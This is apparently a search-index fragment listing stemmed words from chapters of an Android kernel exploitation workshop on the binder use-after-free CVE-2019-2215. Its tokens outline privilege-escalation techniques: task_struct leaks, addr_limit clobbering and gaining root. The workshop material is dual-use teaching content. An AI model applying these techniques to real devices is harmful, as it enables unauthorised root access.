","comm=\"init\"","comm=\"ls\"","command","commands.","complet","completely,","config'","configur","connect.","context=u:r:shell:s0","continuing.","correspond","cred","cred:","ctrl+c","current","custom","cve","data","databas","debug","debugg","debugging,","def","deni","descript","description;","dev","dev/goldfish/arch/x86/include/asm/irqflags.h:61","dev/out/kasan/dist/bzimag","dev/out/kasan/dist/vmlinux","dev/out/kasan/dist/vmlinux...done.","dev=\"vdc\"","directori","dmesg","dmesg,","dmesg.","dmesg:","document","embed","emul","emulator.","enabled.","engin","escal","ex","exception_stack","exist.","fail","file","find","first","found","gdb","gdb.selected_inferior().write_memory(address,","gdbserver","gdbstub","gdbstub.","gef","gef>","generic_x86_64:/","getattr","gid=0(root)","gid=2000(shell)","give","go","goal","goldfish","groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid)","groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid)","have","head","id","ignor","import","ino=13","ino=21","instance.","interrupt.","ioctl","ioctlcmd=0x6615","issu","kernel","kernel,","kernel.","key","klogctl:","know","known","launch","learn","let'","line","linux","load","loaded,","localhost","make","me.pi","missing`","mounts...","move","native_safe_halt","need","next","note:","now,","onc","open","packag","paramet","pars","pass","patch","path=\"/data/misc\"","path=\"/data/vendor\"","permiss","permissive=0","pid","pid:","pidof","popul","preempt","press","privileg","privileges.","process","process.","python","qemu","quiet","read","ready,","receiv","remot","repo:q","restored.","right","root","run","s","same","sat","scan","scontext=u:r:init:s0","scontext=u:r:toolbox:s0","script","script.","scripting,","second","see","selinux_enforc","selinux_enforcing:","sh","shell","shell.","shorthand","show","sigint,","signal","skip","smp","snapshot","sourc","start,","state","struct","struct.pack(\"","success","such","support","symbol","target","task:","tclass=dir","tcontext=u:object_r:unlabeled:s0","tcp::1234.","termin","thing","third","thread","time,","top","two","type","type=1400","uid=0(root)","uid=2000(shell)","unam","underli","us","utf","value):","verifi","vmlinux","vulnerability.","wait","walk","warning:","why.","window","window,","windows.","wipe","write32(address,","x86_64","xml","{","|","}","~/workshop/android","~/workshop/gdb.","~/workshop/gdb/root"],"chapters/root-cause-analysis.html":["!atomic_read(&thread","\"","\"base\"","\"container\"","\"i386","\"struct","\"wait\"","#endif","#ifdef","$","$1","$archsubarch","${kernel_dir}/scripts/config","${out_dir}","${out_dir}/.config","&","&&","&epds,","&epi","&epq.pt);","&event);","&pwq","&thread","'target","(!(epi","(!epi)","(!f.file)","(!list_empty(lsthead))","(!tf.file)","(!thread)","()","(3958288","(at","(binder_thread","(cd","(cmd)","(ep_op_has_event(op)","(epi","(epi)","(error","(op)","(p","(poll","(proc","(pwq","(rca)","(size","(thread","(void","(whead)","*","*\"","*)arg;","**pep)","*,","*/","*base;","*binder_get_thread(struct","*entry)","*ep","*ep,","*ep;","*epi","*epi)","*epi,","*epi;","*event,","*event;","*file,","*file;","*filp)","*filp,","*lsthead","*new_thread;","*next;","*nodp,","*ovflist;","*p)","*pep","*proc","*proc)","*proc,","*proc;","*pt)","*pwq)","*pwq;","*task;","*tep","*tfile,","*thread","*thread)","*thread;","*transaction_stack;","*ubuf","*user;","*wait)","*whead,","*whead;","*wq_entry)","*wq_head,","*ws;","+","...","./cve",".compat_ioctl",".open",".poll",".unlocked_ioctl","/*","/data/local/tmp","/home/ashfaq/workshop/android","0","0.","0.084s)","0;","0x0000000000000000","0x0000000000000001","0x0000000000000003","0x0000000000007201","0x000000000000fff0","0x0000002000001b35","0x8","0xa8","0xffff88800c18f200:","0xffff88800c18f210:","0xffff88800c18f220","0xffff88800c18f220:","0xffff88800c18f230:","0xffff88800c18f240:","0xffff88800c18f248","0xffff88800c18f250:","0xffff88800c18f260:","0xffff88800c18f270:","0xffff88800c18f280:","0xffff88800c18f290:","0xffff88800c18f2a0","0xffff88800c18f2a0:","0xffff88800c18f2a8","0xffff88800c18f2b0:","0xffff88800c18f2c0:","0xffff88800c18f2d0:","0xffff88800c18f2e0:","0xffff88800c18f2f0:","0xffff88800c18f300:","0xffff88800c18f310:","0xffff88800c18f320:","0xffff88800c18f330:","0xffff88800c18f340:","0xffff88800c18f350:","0xffff88800c18f360:","0xffff88800c18f370:","0xffff88800c18f380:","0xffff88800c18f390:","0xffff88800c18f600","0xffff88805c05cae0","0xffff88806793c000","0xffff88806d4bb200","0xffffffff802aa586:","0xffffffff802aa5be:","0xffffffff80824047:","1","1):","1.","1000","1;","2","2.7","2019","2215","2215.avd/config.ini","3","4","4.14","4.9/bin","44.8","4701.","50.","53.","61","64bit.xml\"","77","8.2",":1234",":1234'","=","==",">=",">_key",">_qproc",">_qproc(filp,",">base",">entri",">entry);",">ep",">event",">event.ev",">event.events;",">f_op",">fd",">ffd,",">ffd.file",">ffd.file,",">file",">fllink);",">is_dead",">llink",">llink,",">lock",">lock,",">lock.",">next);",">next,",">nwait",">nwait++;",">ovflist",">poll",">poll()",">poll(epi",">poll_wait);",">prev",">prev,",">private_data",">private_data.",">private_data;",">pwqlist",">pwqlist);",">pwqlist.",">pwqlist;",">rbr",">rdllink);",">rdllist);",">threads.rb_nod",">tmp_ref))",">wait",">wait)",">wait);",">wait,",">wait.",">wait.entri",">wait.entry.",">wait.head",">wait.head.",">wait.head.next",">wait.head.prev,",">wait.head.prev.",">whead",">whead);",">whead.",">wq);","?[]","[*]","[...]","[]","\\","^c","____fput+0x15/0x18","__fput+0x1f2/0x51d","__kasan_kmalloc+0x133/0x1cc","__kasan_slab_free+0x18f/0x23f","__list_del(entri","__list_del(struct","__list_del_entry(entry);","__list_del_entry(struct","__rcu","__remove_wait_queu","__remove_wait_queue(struct","__remove_wait_queue(wq_head,","__user","_ioc_size(cmd);","_raw_spin_lock_irqsav","_raw_spin_lock_irqsave+0x3a/0x5d","`gef","`gef'","access","acquir","activ","active_transact","active_transactions;","adb","add","add_wait_queu","add_wait_queue(whead,","add_wait_queue_exclusive(whead,","address","address.","afterwards.","again,","alloc","allocated.","allocated?","allocation,","alreadi","analysi","analysis.pi","analysis.py,","analyz","android","androidkernel","answer","appli","applied.","arch/x86/boot/bzimag","arch/x86/entry/common.c:292","arch/x86/entry/entry_64.s:233","arch/x86/kernel/stacktrace.c:59","arch=x86_64","arg)","argument","ashfaq@hacksys:~/workshop$","ashfaq@hacksys:~/workshop/android","ashfaq@hacksys:~/workshop/exploit$","ask","assign","atomic_t","attach","autom","avd","away","back","basic","basically,","be","befor","begin","behavior.","below","better","binder","binder'","binder_error","binder_fop","binder_free_thread","binder_free_thread(struct","binder_free_thread(thread);","binder_free_thread(thread=0xffff88800c18f200)(enter)","binder_get_thread","binder_get_thread(proc);","binder_get_thread+0x166/0x6db","binder_get_thread_ilock","binder_get_thread_ilocked(proc,","binder_ioctl","binder_ioctl(struct","binder_ioctl+0x48a/0x101c","binder_ioctl,","binder_open","binder_open(struct","binder_open,","binder_pol","binder_poll(struct","binder_poll+0x4c/0x1c2","binder_poll,","binder_proc","binder_stat","binder_thread","binder_thread,","binder_thread_dec_tmpref","binder_thread_dec_tmpref(struct","binder_thread_dec_tmpref(thread);","binder_thread_dec_tmpref+0x192/0x1d9","binder_thread_exit","binder_thread_exit,","binder_thread_exit:","binder_thread_releas","binder_thread_release(proc,","binder_thread_release(struct","binder_thread_release+0x464/0x4bd","binder_transact","black","bool","boot","both","branch=relwithdebinfo","break","break;","breakpoint","bug","build","build/build.sh","build_config=../build","building:","buildtools_prebuilt_bin=build/build","built","busi","byte","c","call","call.","callback","called.","caller","candid","case","caus","cc=clang","cd","chain","chang","check","chunk","chunk.","circular","clang_prebuilt_bin=prebuilt","clang_triple=x86_64","cleanup","closely,","cmd,","code","code,","collect","command","compat_ioctl","completely,","config","config'","config_debug_info","config_debug_info_reduc","config_frame_point","config_kernel_lz4","config_net_rx_busy_pol","config_randomize_bas","configs/goldfish.x86_64.relwithdebinfo","configur","confirm","connect","const","contain","context,","continuing.","copi","copy_from_user(&epds,","core","correspond","cpu","crash","crash.","creat","cross_compile=${cross_compile}","cross_compile=x86_64","ctl","ctrl+c","custom","cve","d","dangl","data","debug","default:","defconfig=x86_64_ranchu_defconfig","defin","defined.","describ","descript","description;","descriptor","detect","determin","dev$","dev/goldfish/arch/x86/include/asm/irqflags.h:61","dev/goldfish/drivers/android/binder.c","dev/goldfish/drivers/android/binder.c,","dev/goldfish/drivers/android/binder.c.","dev/goldfish/fs/eventpoll.c","dev/goldfish/fs/eventpoll.c.","dev/goldfish/include/linux/list.h","dev/goldfish/include/linux/wait.h","dev/goldfish/kernel/sched/wait.c","dev/goldfish/kernel/sched/wait.c,","dev/out/kasan/dist/vmlinux...done.","dev/out/relwithdebinfo/dist/bzimag","dev/out/relwithdebinfo/dist/vmlinux","devic","device.","diagram","differ","directory.","do","do_exit+0x818/0x2384","do_group_exit+0x12c/0x24b","do_group_exit+0x24b/0x24b","do_syscall_64+0x19e/0x225","do_vfs_ioctl+0x608/0x106a","document","does.","don't","done.","doubl","drivers/android/binder.c:2053","drivers/android/binder.c:4677","drivers/android/binder.c:4705","drivers/android/binder.c:4794","drivers/android/binder.c:4805","drivers/android/binder.c:5062","dump","dure","dynam","e","ebadf;","editor","eexist;","efault;","einval;","emul","emulator.","engin","enoent;","enomem;","ensur","entri","entry_syscall_64_after_hwframe+0x3d/0xa2","ep","ep;","ep_alloc","ep_alloc(&ep);","ep_alloc(struct","ep_alloc,","ep_eventpoll_poll+0x228/0x228","ep_eventpoll_release+0x48/0x54","ep_find","ep_find(ep,","ep_free+0x8b/0x181","ep_free.","ep_insert","ep_insert(ep,","ep_insert(struct","ep_item_from_epqueu","ep_item_from_epqueue(pt);","ep_item_pol","ep_item_poll(epi,","ep_item_poll(struct","ep_poll_callback);","ep_pqueu","ep_ptable_queue_proc","ep_ptable_queue_proc(struct","ep_ptable_queue_proc);","ep_rbtree_insert","ep_rbtree_insert(ep,","ep_remov","ep_remove(ep,","ep_remove(struct","ep_remove_wait_queu","ep_remove_wait_queue(pwq);","ep_remove_wait_queue(struct","ep_scan_ready_list","ep_set_ffd","ep_set_ffd(&epi","ep_unregister_pollwait","ep_unregister_pollwait(ep,","ep_unregister_pollwait(struct","ep_unregister_pollwait+0x160/0x1bd","epds.ev","epds;","epfd","epfd,","epi","epi);","epi;","epitem","epitem\"","epol","epoll_cr","epoll_create(1000);","epoll_create1","epoll_ctl","epoll_ctl(epfd,","epoll_ctl_add","epoll_ctl_add,","epoll_ctl_add:","epoll_ctl_del","epoll_ctl_del,","epoll_ctl_del:","epoll_ev","epoll_event)))","epoll_filefd","epollexclusive)","epollwakeup","eppoll_entri","eppoll_entry,","epq.epi","epq.pt","epq;","err;","erroneously.","error","error,","error;","error_fput;","error_return;","event","event)","event,","event;","eventpol","eventpoll\"","eventpoll,","eventu","ex","exactli","exception_stack","execut","executed.","exit","exit_group","exit_task_work","exits,","exits.","explicitli","explicitly,","exploit","exploit/","exploitation.","exploited.","extra_cmds=''","f","f,","f.file","f_op","fd","fd);","fd,","fd.","fd;","fd_install(fd,","fdget(epfd);","fdget(fd);","ffd","ffd;","figur","file","file\"","file);","file.","file;","file_oper","files=\"","filp","filp,","final","finally,","find","first","flags)","flags);","flags;","fllink;","follow","found","found,","four","fourth","free","freed","freed.","freed?","fs/eventpoll.c:1476","fs/eventpoll.c:2014","fs/eventpoll.c:2128","fs/eventpoll.c:612","fs/eventpoll.c:630","fs/eventpoll.c:847","fs/eventpoll.c:879","fs/eventpoll.c:888","fs/eventpoll.c:942","fs/file_table.c:210","fs/file_table.c:244","fs/ioctl.c:46","fs/ioctl.c:692","fs/ioctl.c:701","fs/notify/fsnotify.c:99","fsnotify_unmount_inodes+0x1e8/0x1e8","full_check","full_check)","full_check);","function","function'","function,","function.","gdb","gef","gef>","generic_x86_64:/","generic_x86_64:/data/local/tmp","get","gfp_kernel)))","gfp_kernel);","given","gnu","go","goal","good","goto","graph","graph.","greater","handl","happen","happened,","happening.","hardwar","head","head.","header","heap","held","here","hold","https://github.com/amezin/vscod","hw.cpu.ncor","ignor","implement","implemented.","implications.","import","include/linux/slab.h:488","include/linux/slab.h:661","include/linux/spinlock.h:367","include/linux/task_work.h:22","inform","init_list_head(&ep","init_list_head(&epi","init_poll_funcptr(&epq.pt,","init_waitqueue_func_entry(&pwq","init_waitqueue_head(&ep","initi","inlin","inod","inspect","instance.","int","int,","intellisens","interest","interrupt.","ioctl","ioctl(fd,","is_dead;","it'","item","items.","itself","jump","kasan","kasan,","kasan_kmalloc+0x9/0xb","kasan_slab_free+0xe/0x10","keep","kernel","kernel.","kernel/exit.c:468","kernel/exit.c:875","kernel/exit.c:975","kernel/exit.c:978","kernel/exit.c:987","kernel/exit.c:989","kernel/locking/spinlock.c:160","kernel/sched/wait.c:50","kernel/task_work.c:113","kernel_dir=goldfish","kfree","kfree(thread);","kfree+0x193/0x5b3","kmalloc","kmem_cache_alloc(epi_cache,","kmem_cache_alloc(pwq_cache,","kmem_cache_alloc_trace+0x1bd/0x26f","know","kzalloc","kzalloc(sizeof(*ep),","kzalloc(sizeof(*proc),","kzalloc(sizeof(*thread),","launch","lead","let'","like.","line","link","linked.","linux","linux_gcc_cross_compile_prebuilts_bin=prebuilts/gcc/linux","list","list_add_tail","list_add_tail(&pwq","list_del","list_del(&wq_entri","list_del(struct","list_first_entry(lsthead,","list_head","list_head.","lists.","llink);","llink;","load","loaded,","lock","lock;","log","log,","long","look","loop","loop,","looper;","looper_need_return;","main","make","master/clang/host/linux","match","mb/","member","missing`","mm/kasan/common.c:463","mm/kasan/common.c:471","mm/kasan/common.c:501","mm/kasan/common.c:515","mm/kasan/common.c:76","mm/kasan/common.c:85","mm/slub.c:1407","mm/slub.c:1458","mm/slub.c:2819","mm/slub.c:3039","mm/slub.c:3976","mm_update_next_owner+0x52f/0x52f","modifi","monitor","mtx;","much","mutex","name","napi_id","napi_id;","native_safe_halt","navigation.","ndk_root=~/android/sdk/ndk/21.0.6113669","need","new","new_thread","new_thread);","newli","next","next)","next);","node","node1","node2","note:","notic","now,","now.","null)","null);","null;","number","nwait;","o=${out_dir}","o_rdonly);","occur","occurred.","offset","offsetof(struct","olddefconfig)","onc","op,","open","open(\"/dev/binder\",","oper","operations.","optim","out","output","p","p);","paramet","parameter,","parameter.","pars","part","parts,","pass","patch","path,","pictur","pid;","place","poc","poc,","poc.","point","pointer","pointer,","poll","poll_tabl","poll_table_struct","poll_wait","poll_wait(filp,","poll_wait(struct","poll_wait;","pollerr","pollerr;","pollhup;","post_defconfig_cmds=\"check_defconfig","present","press","prev,","prev;","primit","private_data","proc","proc;","process","process.","process_todo;","program","project","protect","pt","pt)","push","pushed,","pushing:","pwake","pwq","pwqlist;","python","qemu","questions,","questions:","queue","quiet","r377782b/bin","rb","rb_node","rb_node;","rb_root_cach","rb_root_cached;","rbn;","rbr","rbr;","rca","rcu;","rcu_head","rdllink;","rdllist;","read","readi","ready,","realli","recap","receiv","recommend","red","refer","reintroduc","relev","rememb","remember,","remot","remov","remove_wait_queu","remove_wait_queue(struct","remove_wait_queue(whead,","remove_wait_queue(wq_head=0xffff88800c18f2a0,","remove_wait_queue+0x27/0x122","remove_wait_queue_wait.c:52(exit)","reply_error;","report","request.","research.","resourc","ret","ret;","return","return;","return_error;","revent","revents,","revers","revisit","root","run","runtime.","s","same","save_stack","save_stack_trace+0x16/0x18","script","script.","second","section","section,","section.","see","set","set_track","shell","show","sigint,","signal","simplifi","singl","size","size)","sizeof(struct","skipped.","slab_fre","slab_free_freelist_hook","slab_free_hook","smp_load_acquire(&pwq","snapshot","soon","sourc","space","specif","spin_lock_irqsav","spin_lock_irqsave(&wq_head","spin_unlock_irq","spin_unlock_irqrestore(&wq_head","spinlock_t","stack","start","start,","static","stats;","stop_ship_traceprintk=1","store","strip","struct","structur","structure'","structure.","studio","subsystem","subsystem.","support","support,","support.","switch","symbol","sys_epoll_create1","sys_epoll_create1.","sys_epoll_ctl+0x1558/0x24f0","sys_epoll_wait()","sys_exit_group+0x14/0x14","sys_exit_group.","sys_ioctl+0x75/0xa4","sysc_epoll_ctl","sysc_exit_group+0x17/0x17","sysc_ioctl","syscall_define1(epoll_create,","syscall_define1(epoll_create1,","syscall_define4(epoll_ctl,","system","system.map","tabl","table)","target","task_struct","task_work_run+0x127/0x154","temporari","termin","text","tf","tf.file,","tf;","tfile,","that,","them.","third","those.","thread","thread);","thread;","three","time,","time.","tmp_ref;","todo;","togeth","tools/path/linux","top","trace","trace.","track","transfer","tree","tri","trigger","trigger:","turn","two","type","understand","understood","union","unlink","unlocked_ioctl","unsign","unwant","up","update_debug_config\"","update_debug_config()","us","user","user_struct","user_watches;","userspac","usual","veri","view","virtual","visited;","visited_list_link;","visual","vmlinux","void","vulner","vulnerability.","w/out","wait","wait);","wait.head)","wait;","wait_address)","wait_address,","wait_queue_entri","wait_queue_entry_t","wait_queue_head","wait_queue_head_t","waiting_thread_node;","wakeup","wakeup_sourc","want","warning:","what'","whead","whead;","why.","will.","window","window,","window.","wipe","without","work","workshop/android","workshop/build","workshop/gdb.","wq","wq;","wq_entry);","wq_entry=0xffff88805c05cac8)(enter)","write","write_once(prev","written","x86","x86/clang","x86/x86/x86_64","xml","{","|","|=","}","};","~/.android/avd/cv","~/workshop/android","~/workshop/gdb/dynam"],"chapters/exploitation.html":["!=","\"bytes\"","\"iov","#","##","###","#1","#defin","$","$13","$16","$17","$4","$5","$9","%p\\n\",","&&","&iov,","&iter);","&iter,","&junksocketdata,","&message,","&p);","&pos,","&task_struct","((int8_t","((uint8_t","(1003.1g","(1003.1g)","(@vnik5287)","(childpid","(copy_from_user(iov,","(current","(databuff","(f.file)","(fcntl(pipe_fd[0],","(finalsocketdata)","(is_ttbr0_addr(addr)","(len","(nbytesread","(nbytesreceiv","(nbyteswritten","(nr_seg","(pipe(pipe_fd)","(reg","(ret","(seg","(socketpair(af_unix,","(struct","(uint64_t)","(unlikely(!left","(void","({","*","*((int64_t","*)","**iov,","**ret_pointer)","*,","*/","*buf,","*buf;","*fast_pointer,","*file,","*from;","*i)","*iov","*iov,","*iov;","*iov_base;","*kaddr,","*mm;","*p;","*page,","*pos,","*proc;","*regs)","*task;","*transaction_stack;","*tsk;","*vec,","+","+=","...","./cve","/","/*","//","/d","/data/local/tmp","/dev/bind","0","0)","0);","0,","0.","0;","0th","0x%lx","0x%lx\",","0x%lx,","0x%lx\\n\",","0x%x\",","0x%x\\n\",","0x0","0x00","0x0000000000000000","0x08","0x1","0x1,","0x10","0x1000","0x10000","0x100000000","0x20","0x2000","0x2000.","0x3","0x4","0x41","0x41414141","0x41414141,","0x41414141;","0x42424242","0x42424242;","0x7","0x8","0x8,","0x8;","0xa0","0xa8","0xb0","0xb8","0xc0","0xc8","0xffff888063a14b00","0xffff888063a14fe8","0xffff888063a15188","0xffff888063a151c0","0xffff888066e016c0","0xffffffff80200000","0xffffffff81433ac0","0xffffffff816acfe8","0xfffffffffffffffe","0xfffffffffffffffe.","0xffffffffffffffff","0xffffffffffffffff,","0xffffffffffffffff.","1","1)","10","16","1;","1].iov_bas","1].iov_len","2)","2);","2019","2215","25","25*16","256","2].iov_bas","2].iov_len","2].iov_len;","32","32bit","32bit,","4.14","4.14.150+","4.4","400","408","4gb","512","64","64bit","64kb","65536","7039",":","=","==",">",">=",">cred:",">iov_base;",">iov_len",">iov_len\"",">iov_len)",">iov_len);",">nsproxy:",">orig_addr_limit",">pid:",">thread.addr_limit.seg",">thread.addr_limit.seg)",">wait.entri",">wait.head",">wait.head.next",">wait.head.prev",">wait.lock","?","@hacksysteam","[*]","[+]","[...]","\\","]","__kernel_size_t","__kprobe","__remove_wait_queu","__user","abov","access_ok","access_ok(type,","accessible.","accur","achiev","acquir","action","action.","actual","adb","addit","addr))","addr,","addr_limit","addr_limit,","addr_limit.","address","address.","advantag","af_unix/af_loc","again","again,","align","alloc","allocator,","alreadi","analysi","android","anoth","api","appli","apr","arbitrari","architecture.","arm64","arm64,","array","array_size(iovstack),","ashfaq@hacksys:~/workshop$","associ","atomic_t","attack","attacks.","automatically.","avoid","back","base:","basic","because,","becom","befor","beginning.","believ","below","better","between","big","bind","binder","binder_error","binder_proc","binder_stat","binder_thread","binder_thread)","binder_thread,","binder_thread.","binder_thread\\n\");","binder_transact","binderuaf::clobberaddrlimit()","binderuaf::leaktaskstruct()","bit","block","blocks.","blog","bool","bsd","buf","buf,","buffer","buffer,","buffers.","bug.","build","but,","byte","bytes))","bytes,","bytes.","bytes;","bytes\\n\",","cach","cache.","caddr_t","calcul","call","call,","call.","called,","can't","capac","capacity\\n\");","care","case.","case?","caus","cd","chang","channel","char","check","check.","child","child:","childpid","chunk","chunk.","clobber","clobbered,","clobbered.","closely,","code","code,","code.","come","comment","commun","communication.","compat","comput","condit","const","contain","content","context=u:r:shell:s0","control","convert","copi","copy);","copy,","copy_from_us","copy_page_to_iter_iovec","copy_page_to_iter_iovec(struct","copyout(buf,","core","corrupt","count","count);","cpu","crash","crash,","creat","cred","cred));","cred:","current","currentpid:","dangl","data","data.","databuffer,","databuffer[page_size]","day","day,","deal","default","defin","defined.","depend","descriptor","desir","dev","dev/goldfish/arch/arm64/mm/fault.c","dev/goldfish/arch/x86/include/asm/uaccess.h","dev/goldfish/drivers/android/binder.c.","dev/goldfish/fs/read_write.c","dev/goldfish/include/uapi/linux/uio.h.","dev/goldfish/lib/iov_iter.c","di","diagram","diagram.","die(\"access","dig","disabl","discuss","do","do_iter_write(file,","do_page_fault","do_page_fault(unsign","do_writev","do_writev(fd,","do_writev(unsign","done,","due","dummi","each","earlier","ebadf;","effectively,","el0","empty.","enabl","encount","end","enforc","ensur","enter","eppoll_entri","equal","err(\"\\t[","escal","escalation.","esr);","esr,","etc","etc.","etc.,","event","eventpol","execut","exit","exit(exit_failure);","exit(exit_success);","expected:","expectedbytesreceiv","expectedbytesreceived)","expectedbytesreceived);","expectedpid:","exploit","exploitation,","exploitation.","f","f_setpipe_sz,","face","failed.","fails.","fast_pointer;","fast_segs)","fast_segs,","fault","fault,","fault_flag_allow_retri","fault_flag_killable;","fd","fd,","fdget_pos(fd);","featur","few","field.","figur","file","final","finally,","finalsocketdata","finalsocketdata,","finalsocketdata[]","first","fist","fix","flag","flags)","flags);","flight","flow","fork","fork();","fork.","found","free","freebinderthread();","freed","freed.","from,","fs=kernel_ds\",","full","function","function.","functions.","gain","gef>","generic_x86_64:/","generic_x86_64:/data/local/tmp","getenforc","gfp_kernel);","gid=0(root)","gid=2000(shell)","give","given","go","goldfish","good","great","greater","groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid)","groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid)","guy","happen","happen.","happened.","happens.","help","here,","highest","hijack","hinder","hope","horn","however,","i/o","i/o,","i/o.","id","idea","immedi","implement","implementation.","import","import_iovec","import_iovec(int","import_iovec(write,","incom","increas","info(\"[+]","info(\"\\t[*]","inform","initi","instead","int","interest","intern","interprocess","investig","iov","iov++;","iov[seg].iov_len","iov_bas","iov_it","iov_iter_init","iov_iter_init(i,","iov_len","iov_len;","iovcarray[iovec_count].iov_len","iovec","iovec)","iovec),","iovec,","iovec.","iovec.iov_bas","iovec_count);","iovec_count;","iovec_wq_index,","iovecs,","iovecs\\n\");","iovecstack","iovecstack,","iovecstack;","iovecstack[0].iov_bas","iovecstack[0].iov_len","iovecstack[10]","iovecstack[10],","iovecstack[10].io_base.","iovecstack[10].iov_bas","iovecstack[10].iov_len","iovecstack[11]","iovecstack[11].iov_bas","iovecstack[11].iov_len","iovecstack[12]","iovecstack[12].iov_bas","iovecstack[12].iov_len","iovecstack[iovec_count]","iovecstack[iovec_wq_index","iovecstack[iovec_wq_index]","iovecstack[iovec_wq_index].iov_bas","iovecstack[iovec_wq_index].iov_len","iovstack;","iovstack[uio_fastiov];","is.","is:","is_dead;","is_permission_fault(esr,","issu","issue.","it'","it.","iter;","jann","junk","junksocketdata[]","keenlab.","keep","kernel","kernel,","kernel.","kernel_d","kernel_ds)","kmalloc","kmalloc(nr_segs*sizeof(struct","know","leak","left","left,","len","len)))","len;","length","less","let'","lib/iov_iter.c.","light","likely(!__range_not_ok(addr,","line","line.","link","linkeventpollwaitqueuetobinderthreadwaitqueue();","linux","linux,","list_head","lived.","local","localhost","lock","lock.","loff_t","long","long,","look","looper;","looper_need_return;","lower","m_4gb_aligned_pag","m_4gb_aligned_page;","m_binder_fd:","m_credaddress","m_credaddress);","m_epoll_fd:","m_nsproxyaddress","m_nsproxyaddress);","m_pidaddress","m_pidaddress);","m_task_struct","m_task_struct);","maddi","main","major","make","manag","mani","manner","map","max_rw_count","maximum","member","memori","memory.","messag","message.msg_iov","message.msg_iovlen","messages.","min(bytes,","mitig","mm_flag","mm_segment_t","mm_segment_t.","mm_struct","mmap4gbalignedpage();","mode.","modifi","moment,","more","msg_waital","msg_waitall);","msghdr","much","multipl","n","n);","n;","nbytesread","nbytesread,","nbytesread:","nbytesreceiv","nbytesreceived,","nbytesreceived:","nbyteswritten","nbyteswritten);","nbyteswritten,","nbyteswritten:","need","never","newli","next","night","nikolenko","note:","notic","now","now,","nr_seg","nr_segs*sizeof(*uvector)))","nr_segs*sizeof(struct","nr_segs,","nsproxy));","nsproxy:","null","number","number,","object","obvious","occur","occur.","offset","offset,","offset_task_struct_addr_limit),","offsetof(struct","on","onc","open","opening:","oper","operation,","operation.","operation?","orig_addr_limit","otherwis","out","out.","overhead","overlap","overwrit","p","p,","p0","p;","page","page:","page_s","page_size)","page_size);","page_size;","paramet","parameter.","parent","part","pass","patch","permiss","picture.","pid));","pid;","pid_t","pipe","pipe,","pipe.","pipe\\n\");","pipe_fd[0]","pipe_fd[1]","pipe_fd[2]","place","plan","point","point,","pointer","pointer,","pointer.","poll","pos,","post.","power","preempt","prepar","prevent","primit","primitive.","primitives.","print","privileg","process","process_todo;","processes.","project","prototyp","pt_reg","publish","quadword","queue","queue.","race","rb_node","rb_node;","read","read(int","read(pipe_fd[0],","read,","read/writ","read/write,","readv","readv,","realli","realloc","reallocation,","reallocation.","reason","receiv","recvmsg","recvmsg(sock_fd[0],","recvmsg,","redraw","reduc","reg","regs,","remember,","remove_wait_qeu","remove_wait_queu","reply_error;","repo:q","requir","rest","result","resum","resumes,","ret","ret)","ret;","return","return_error;","revert","revisit","root","ruin","rw_copy_check_uvector","rw_copy_check_uvector(int","rw_copy_check_uvector(type,","rwf_t","same","same.","scatter/gath","scope","second","section","section.","see","seen","seg","seg;","selinux","selinux.","selinux_enforcing:","sendmsg,","set","setup","setupbinder();","setupeventpoll();","shell","shen","short","sig,","signific","simpl","singl","size","size)","size,","size.","size_t","sizeof(databuffer));","sizeof(finalsocketdata))","sizeof(finalsocketdata));","sizeof(junksocketdata))","sizeof(junksocketdata));","sizeof(mm_segment_t)","sizeof(struct","skip","skip,","sleep","sleep(2);","slub","small","smp","so,","sock_fd)","sock_fd[2]","sock_stream","sock_stream,","socket","socket'","socket\\n\");","socketpair","socketpair\\n\");","somehow","space","space.","spawn","spent","spin","spinlock_t","ssize_t","stack","stack,","start","statement","static","stats;","stay","stone","store","strategi","struct","structur","structure.","stuck","success","successful,","successfulli","successfully\\n\");","such","sum","sure","switch","syscall_define3(writev,","system","system,","system.","table,","target","task","task_struct","task_struct*","task_struct,","task_struct:","task_struct_offset_in_leaked_data));","test","then,","thing","thing,","this,","those","thread","thread_info","thread_struct","three","time","tmp_ref;","to:","todo;","togeth","total","tri","trigger","tue","two","type","type,","uid:","uid=0(root)","uid=2000(shell)","uint64_t","un","unabl","unam","understand","understood","unidirect","unlikely(!access_ok(vrfy_dir(type),","unlink","unlinkeventpollwaitqueuefrombinderthreadwaitqueue();","unsign","up","upgrad","us","useless","user","user_addr_max","user_addr_max()","user_addr_max()));","uvector,","valid","validation.","valu","value,","vec,","vector","veri","verifi","vfs_writev","vfs_writev(f.file,","vfs_writev(struct","view","vitali","vlen)","vlen,","vm_flag","vm_read","vm_write;","void","vulner","vulnerability,","vulnerability.","wait","wait(nullptr);","wait)","wait.head.next","wait.head.prev","wait.lock","wait;","wait_queue_head_t","waiting_thread_node;","want","wanted;","warn_on_in_irq();","way","weight","well.","what'","whether","whose","window","work","workshop/android","write","write(int","write(sock_fd[1],","write,","write.","writev","writev(pipe_fd[1],","writev,","written","wrong","wrote","wrote,","x64","x86_64","zero","zero.","{","{0};","{nullptr};","|","}","})","};"],"chapters/gdb-macros.html":["((_type","((long)(&((_typ","*)((void","*)(_ptr)","*)0)",">_memb))","_memb)","_memb)))","_type,","containerof(_ptr,","debugging.","defin","dure","gdb","macro","offsetof(_type,","us"],"chapters/resources.html":["16","16/materials/eu","2019","2215","99629d91423c","achiev","android","annot","binder","blog/linux","bug","bugs/qyxdguhaf50/g","build","code","cross","cve","dev","exploit","exploit.html","extens","fxvo1oawaj","http://man7.org/linux/man","http://www.bricktou.com/","https://android.googlesource.com/kernel/manifest","https://bugs.chromium.org/p/project","https://dayzerosec.com/posts/analyz","https://elixir.bootlin.com/linux/v4.14.171/sourc","https://en.wikipedia.org/wiki/light","https://en.wikipedia.org/wiki/vectored_i/o","https://googleprojectzero.blogspot.com/2019/11/bad","https://groups.google.com/d/msg/syzkal","https://hernan.de/blog/2019/10/15/tailor","https://lwn.net/articles/656307/","https://medium.com/hungi","https://source.android.com/security/selinux","https://source.android.com/setup/build/build